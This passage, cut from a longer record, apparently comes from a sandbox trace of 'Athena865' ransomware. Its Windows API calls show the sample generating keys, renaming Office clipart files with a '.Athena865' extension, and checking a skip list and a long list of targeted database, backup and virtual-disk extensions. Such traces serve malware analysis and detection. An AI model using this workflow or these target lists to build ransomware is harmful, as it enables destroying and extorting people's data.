dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.588] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2016) returned 1 [0121.589] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.589] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.589] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.591] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.592] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.592] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.592] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN04323_.WMF" | out: lpString1="AN04323_.WMF") returned="AN04323_.WMF" [0121.592] lstrlenW (lpString="AN04323_.WMF") returned 12 [0121.592] lstrlenW (lpString="Athena865") returned 9 [0121.592] lstrcmpiW (lpString1="4323_.WMF", lpString2="Athena865") returned -1 [0121.592] lstrlenW (lpString=".dll") returned 4 [0121.593] lstrcmpiW (lpString1="AN04323_.WMF", lpString2=".dll") returned 1 [0121.593] lstrlenW (lpString=".lnk") returned 4 [0121.593] lstrcmpiW (lpString1="AN04323_.WMF", lpString2=".lnk") returned 1 [0121.593] lstrlenW (lpString=".ini") returned 4 [0121.593] lstrcmpiW (lpString1="AN04323_.WMF", lpString2=".ini") returned 1 [0121.593] lstrlenW (lpString=".sys") returned 4 [0121.593] lstrcmpiW (lpString1="AN04323_.WMF", lpString2=".sys") returned 1 [0121.593] lstrlenW (lpString="AN04323_.WMF") returned 12 [0121.593] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.Athena865") returned 73 [0121.593] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.594] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2492) returned 1 [0121.595] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.595] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.595] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.598] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.598] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.598] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.599] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN04326_.WMF" | out: lpString1="AN04326_.WMF") returned="AN04326_.WMF" [0121.599] lstrlenW (lpString="AN04326_.WMF") returned 12 [0121.599] lstrlenW (lpString="Athena865") returned 9 [0121.599] lstrcmpiW (lpString1="4326_.WMF", lpString2="Athena865") returned -1 [0121.599] lstrlenW (lpString=".dll") returned 4 [0121.599] lstrcmpiW (lpString1="AN04326_.WMF", lpString2=".dll") returned 1 [0121.599] lstrlenW (lpString=".lnk") returned 4 [0121.599] lstrcmpiW (lpString1="AN04326_.WMF", lpString2=".lnk") returned 1 [0121.599] lstrlenW (lpString=".ini") returned 4 [0121.599] lstrcmpiW (lpString1="AN04326_.WMF", lpString2=".ini") returned 1 [0121.599] lstrlenW (lpString=".sys") returned 4 [0121.599] lstrcmpiW (lpString1="AN04326_.WMF", lpString2=".sys") returned 1 [0121.599] lstrlenW (lpString="AN04326_.WMF") returned 12 [0121.599] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.Athena865") returned 73 [0121.599] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.600] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3348) returned 1 [0121.600] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.601] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.601] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.603] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.604] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.604] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.605] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.605] CloseHandle (hObject=0x154) returned 1 [0121.605] CloseHandle (hObject=0x17c) returned 1 [0121.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.605] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN04332_.WMF", cAlternateFileName="")) returned 1 [0121.605] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.605] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.605] lstrcmpiW (lpString1="AN04332_.WMF", lpString2=".") returned 1 [0121.605] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="..") returned 1 [0121.605] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="windows") returned -1 [0121.605] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="bootmgr") returned -1 [0121.605] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="temp") returned -1 [0121.605] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="pagefile.sys") returned -1 [0121.605] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="boot") returned -1 [0121.605] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="ids.txt") returned -1 [0121.606] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="ntuser.dat") returned -1 [0121.606] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="perflogs") returned -1 [0121.606] lstrcmpiW (lpString1="AN04332_.WMF", lpString2="MSBuild") returned -1 [0121.606] lstrlenW (lpString="AN04332_.WMF") returned 12 [0121.606] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN04332_.WMF" | out: lpString1="AN04332_.WMF") returned="AN04332_.WMF" [0121.606] lstrlenW (lpString="AN04332_.WMF") returned 12 [0121.606] lstrlenW (lpString="Athena865") returned 9 [0121.606] lstrcmpiW (lpString1="4332_.WMF", lpString2="Athena865") returned -1 [0121.606] lstrlenW (lpString=".dll") returned 4 [0121.606] lstrcmpiW (lpString1="AN04332_.WMF", lpString2=".dll") returned 1 [0121.606] lstrlenW (lpString=".lnk") returned 4 [0121.606] lstrcmpiW (lpString1="AN04332_.WMF", lpString2=".lnk") returned 1 [0121.606] lstrlenW (lpString=".ini") returned 4 [0121.606] lstrcmpiW (lpString1="AN04332_.WMF", lpString2=".ini") returned 1 [0121.606] lstrlenW (lpString=".sys") returned 4 [0121.606] lstrcmpiW (lpString1="AN04332_.WMF", lpString2=".sys") returned 1 [0121.606] lstrlenW (lpString="AN04332_.WMF") returned 12 [0121.606] lstrlenW (lpString="bak") returned 3 [0121.606] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0121.606] lstrlenW (lpString="ba_") returned 3 [0121.606] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0121.606] lstrlenW (lpString="dbb") returned 3 [0121.606] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0121.606] lstrlenW (lpString="vmdk") returned 4 [0121.606] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0121.606] lstrlenW (lpString="rar") returned 3 [0121.606] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0121.607] lstrlenW (lpString="zip") returned 3 [0121.607] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0121.607] lstrlenW (lpString="tgz") returned 3 [0121.607] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0121.607] lstrlenW (lpString="vbox") returned 4 [0121.607] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0121.607] lstrlenW (lpString="vdi") returned 3 [0121.607] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0121.607] lstrlenW (lpString="vhd") returned 3 [0121.607] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0121.607] lstrlenW (lpString="vhdx") returned 4 [0121.607] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0121.607] lstrlenW (lpString="avhd") returned 4 [0121.607] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0121.607] lstrlenW (lpString="db") returned 2 [0121.607] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0121.607] lstrlenW (lpString="db2") returned 3 [0121.607] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0121.607] lstrlenW (lpString="db3") returned 3 [0121.607] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0121.607] lstrlenW (lpString="dbf") returned 3 [0121.607] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0121.607] lstrlenW (lpString="mdf") returned 3 [0121.607] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0121.607] lstrlenW (lpString="mdb") returned 3 [0121.607] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0121.607] lstrlenW (lpString="sql") returned 3 [0121.607] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0121.608] lstrlenW (lpString="sqlite") returned 6 [0121.608] lstrcmpiW (lpString1="2_.WMF", lpString2="sqlite") returned -1 [0121.608] lstrlenW (lpString="sqlite3") returned 7 [0121.608] lstrcmpiW (lpString1="32_.WMF", lpString2="sqlite3") returned -1 [0121.608] lstrlenW (lpString="sqlitedb") returned 8 [0121.608] lstrcmpiW (lpString1="332_.WMF", lpString2="sqlitedb") returned -1 [0121.608] lstrlenW (lpString="xml") returned 3 [0121.608] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0121.608] lstrlenW (lpString="$er") returned 3 [0121.608] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0121.608] lstrlenW (lpString="4dd") returned 3 [0121.608] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0121.608] lstrlenW (lpString="4dl") returned 3 [0121.608] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0121.608] lstrlenW (lpString="^^^") returned 3 [0121.608] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0121.608] lstrlenW (lpString="abs") returned 3 [0121.608] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0121.608] lstrlenW (lpString="abx") returned 3 [0121.608] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0121.608] lstrlenW (lpString="accdb") returned 5 [0121.608] lstrcmpiW (lpString1="_.WMF", lpString2="accdb") returned -1 [0121.608] lstrlenW (lpString="accdc") returned 5 [0121.608] lstrcmpiW (lpString1="_.WMF", lpString2="accdc") returned -1 [0121.608] lstrlenW (lpString="accde") returned 5 [0121.608] lstrcmpiW (lpString1="_.WMF", lpString2="accde") returned -1 [0121.608] lstrlenW (lpString="accdr") returned 5 [0121.608] lstrcmpiW (lpString1="_.WMF", lpString2="accdr") returned -1 [0121.608] lstrlenW (lpString="accdt") returned 5 [0121.609] lstrcmpiW (lpString1="_.WMF", lpString2="accdt") returned -1 [0121.609] lstrlenW (lpString="accdw") returned 5 [0121.609] lstrcmpiW (lpString1="_.WMF", lpString2="accdw") returned -1 [0121.609] lstrlenW (lpString="accft") returned 5 [0121.609] lstrcmpiW (lpString1="_.WMF", lpString2="accft") returned -1 [0121.609] lstrlenW (lpString="adb") returned 3 [0121.609] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0121.609] lstrlenW (lpString="adb") returned 3 [0121.609] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0121.609] lstrlenW (lpString="ade") returned 3 [0121.609] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0121.609] lstrlenW (lpString="adf") returned 3 [0121.609] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0121.609] lstrlenW (lpString="adn") returned 3 [0121.609] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0121.609] lstrlenW (lpString="adp") returned 3 [0121.609] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0121.609] lstrlenW (lpString="alf") returned 3 [0121.609] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0121.609] lstrlenW (lpString="ask") returned 3 [0121.609] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0121.609] lstrlenW (lpString="btr") returned 3 [0121.609] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0121.609] lstrlenW (lpString="cat") returned 3 [0121.609] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0121.609] lstrlenW (lpString="cdb") returned 3 [0121.609] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0121.609] lstrlenW (lpString="ckp") returned 3 [0121.609] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0121.610] lstrlenW (lpString="cma") returned 3 [0121.610] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0121.610] lstrlenW (lpString="cpd") returned 3 [0121.610] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0121.610] lstrlenW (lpString="dacpac") returned 6 [0121.610] lstrcmpiW (lpString1="2_.WMF", lpString2="dacpac") returned -1 [0121.610] lstrlenW (lpString="dad") returned 3 [0121.610] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0121.610] lstrlenW (lpString="dadiagrams") returned 10 [0121.610] lstrcmpiW (lpString1="04332_.WMF", lpString2="dadiagrams") returned -1 [0121.610] lstrlenW (lpString="daschema") returned 8 [0121.610] lstrcmpiW (lpString1="332_.WMF", lpString2="daschema") returned -1 [0121.610] lstrlenW (lpString="db-journal") returned 10 [0121.610] lstrcmpiW (lpString1="04332_.WMF", lpString2="db-journal") returned -1 [0121.610] lstrlenW (lpString="db-shm") returned 6 [0121.610] lstrcmpiW (lpString1="2_.WMF", lpString2="db-shm") returned -1 [0121.610] lstrlenW (lpString="db-wal") returned 6 [0121.610] lstrcmpiW (lpString1="2_.WMF", lpString2="db-wal") returned -1 [0121.610] lstrlenW (lpString="dbc") returned 3 [0121.610] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0121.610] lstrlenW (lpString="dbs") returned 3 [0121.610] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0121.610] lstrlenW (lpString="dbt") returned 3 [0121.610] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0121.610] lstrlenW (lpString="dbv") returned 3 [0121.610] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0121.610] lstrlenW (lpString="dbx") returned 3 [0121.610] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0121.611] lstrlenW (lpString="dcb") returned 3 [0121.611] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0121.611] lstrlenW (lpString="dct") returned 3 [0121.611] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0121.611] lstrlenW (lpString="dcx") returned 3 [0121.611] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0121.611] lstrlenW (lpString="ddl") returned 3 [0121.611] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0121.611] lstrlenW (lpString="dlis") returned 4 [0121.611] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0121.611] lstrlenW (lpString="dp1") returned 3 [0121.611] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0121.611] lstrlenW (lpString="dqy") returned 3 [0121.611] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0121.611] lstrlenW (lpString="dsk") returned 3 [0121.611] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0121.611] lstrlenW (lpString="dsn") returned 3 [0121.611] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0121.611] lstrlenW (lpString="dtsx") returned 4 [0121.611] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0121.611] lstrlenW (lpString="dxl") returned 3 [0121.611] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0121.611] lstrlenW (lpString="eco") returned 3 [0121.611] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0121.611] lstrlenW (lpString="ecx") returned 3 [0121.611] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0121.611] lstrlenW (lpString="edb") returned 3 [0121.611] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0121.611] lstrlenW (lpString="epim") returned 4 [0121.612] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0121.612] lstrlenW (lpString="fcd") returned 3 [0121.612] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0121.612] lstrlenW (lpString="fdb") returned 3 [0121.612] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0121.612] lstrlenW (lpString="fic") returned 3 [0121.612] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0121.612] lstrlenW (lpString="flexolibrary") returned 12 [0121.612] lstrlenW (lpString="fm5") returned 3 [0121.612] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0121.612] lstrlenW (lpString="fmp") returned 3 [0121.612] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0121.612] lstrlenW (lpString="fmp12") returned 5 [0121.612] lstrcmpiW (lpString1="_.WMF", lpString2="fmp12") returned -1 [0121.612] lstrlenW (lpString="fmpsl") returned 5 [0121.612] lstrcmpiW (lpString1="_.WMF", lpString2="fmpsl") returned -1 [0121.612] lstrlenW (lpString="fol") returned 3 [0121.612] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0121.612] lstrlenW (lpString="fp3") returned 3 [0121.612] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0121.612] lstrlenW (lpString="fp4") returned 3 [0121.612] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0121.612] lstrlenW (lpString="fp5") returned 3 [0121.612] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0121.612] lstrlenW (lpString="fp7") returned 3 [0121.612] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0121.612] lstrlenW (lpString="fpt") returned 3 [0121.612] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0121.613] lstrlenW (lpString="frm") returned 3 [0121.613] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0121.613] lstrlenW (lpString="gdb") returned 3 [0121.613] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0121.613] lstrlenW (lpString="gdb") returned 3 [0121.613] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0121.613] lstrlenW (lpString="grdb") returned 4 [0121.613] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0121.613] lstrlenW (lpString="gwi") returned 3 [0121.613] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0121.613] lstrlenW (lpString="hdb") returned 3 [0121.613] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0121.613] lstrlenW (lpString="his") returned 3 [0121.613] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0121.613] lstrlenW (lpString="ib") returned 2 [0121.613] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0121.613] lstrlenW (lpString="idb") returned 3 [0121.613] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0121.613] lstrlenW (lpString="ihx") returned 3 [0121.613] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0121.613] lstrlenW (lpString="itdb") returned 4 [0121.613] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0121.613] lstrlenW (lpString="itw") returned 3 [0121.613] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0121.613] lstrlenW (lpString="jet") returned 3 [0121.613] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0121.613] lstrlenW (lpString="jtx") returned 3 [0121.613] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0121.613] lstrlenW (lpString="kdb") returned 3 [0121.614] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0121.614] lstrlenW (lpString="kexi") returned 4 [0121.614] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0121.614] lstrlenW (lpString="kexic") returned 5 [0121.614] lstrcmpiW (lpString1="_.WMF", lpString2="kexic") returned -1 [0121.614] lstrlenW (lpString="kexis") returned 5 [0121.614] lstrcmpiW (lpString1="_.WMF", lpString2="kexis") returned -1 [0121.614] lstrlenW (lpString="lgc") returned 3 [0121.614] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0121.614] lstrlenW (lpString="lwx") returned 3 [0121.614] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0121.614] lstrlenW (lpString="maf") returned 3 [0121.614] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0121.614] lstrlenW (lpString="maq") returned 3 [0121.614] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0121.614] lstrlenW (lpString="mar") returned 3 [0121.614] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0121.614] lstrlenW (lpString="marshal") returned 7 [0121.614] lstrcmpiW (lpString1="32_.WMF", lpString2="marshal") returned -1 [0121.614] lstrlenW (lpString="mas") returned 3 [0121.614] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0121.614] lstrlenW (lpString="mav") returned 3 [0121.614] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0121.614] lstrlenW (lpString="maw") returned 3 [0121.614] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0121.614] lstrlenW (lpString="mdbhtml") returned 7 [0121.614] lstrcmpiW (lpString1="32_.WMF", lpString2="mdbhtml") returned -1 [0121.614] lstrlenW (lpString="mdn") returned 3 [0121.614] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0121.615] lstrlenW (lpString="mdt") returned 3 [0121.615] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0121.615] lstrlenW (lpString="mfd") returned 3 [0121.615] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0121.615] lstrlenW (lpString="mpd") returned 3 [0121.615] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0121.615] lstrlenW (lpString="mrg") returned 3 [0121.615] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0121.615] lstrlenW (lpString="mud") returned 3 [0121.615] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0121.615] lstrlenW (lpString="mwb") returned 3 [0121.615] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0121.615] lstrlenW (lpString="myd") returned 3 [0121.615] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0121.615] lstrlenW (lpString="ndf") returned 3 [0121.615] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0121.615] lstrlenW (lpString="nnt") returned 3 [0121.615] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0121.615] lstrlenW (lpString="nrmlib") returned 6 [0121.615] lstrcmpiW (lpString1="2_.WMF", lpString2="nrmlib") returned -1 [0121.615] lstrlenW (lpString="ns2") returned 3 [0121.615] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0121.615] lstrlenW (lpString="ns3") returned 3 [0121.615] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0121.615] lstrlenW (lpString="ns4") returned 3 [0121.615] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0121.615] lstrlenW (lpString="nsf") returned 3 [0121.615] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0121.615] lstrlenW (lpString="nv") returned 2 [0121.616] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0121.616] lstrlenW (lpString="nv2") returned 3 [0121.616] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0121.616] lstrlenW (lpString="nwdb") returned 4 [0121.616] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0121.616] lstrlenW (lpString="nyf") returned 3 [0121.616] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0121.616] lstrlenW (lpString="odb") returned 3 [0121.616] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0121.616] lstrlenW (lpString="odb") returned 3 [0121.616] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0121.616] lstrlenW (lpString="oqy") returned 3 [0121.616] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0121.616] lstrlenW (lpString="ora") returned 3 [0121.616] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0121.616] lstrlenW (lpString="orx") returned 3 [0121.616] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0121.616] lstrlenW (lpString="owc") returned 3 [0121.616] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0121.616] lstrlenW (lpString="p96") returned 3 [0121.616] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0121.616] lstrlenW (lpString="p97") returned 3 [0121.616] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 